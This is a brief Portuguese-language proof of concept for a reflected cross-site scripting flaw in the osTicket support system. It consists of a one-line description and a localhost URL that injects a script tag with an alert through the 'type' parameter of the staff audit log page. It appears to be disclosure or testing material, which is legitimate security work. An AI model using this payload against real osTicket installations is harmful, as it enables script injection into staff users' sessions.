
Exploração de prova de conceito de XSS refletido no sistema de tickets de suporte osTicket, demonstrando injeção via parâmetros de log de auditoria.
XSS Refletido
http://localhost/scp/audits.php?startData=&endDate=&type="><script>alert('reflectedXSS')</script>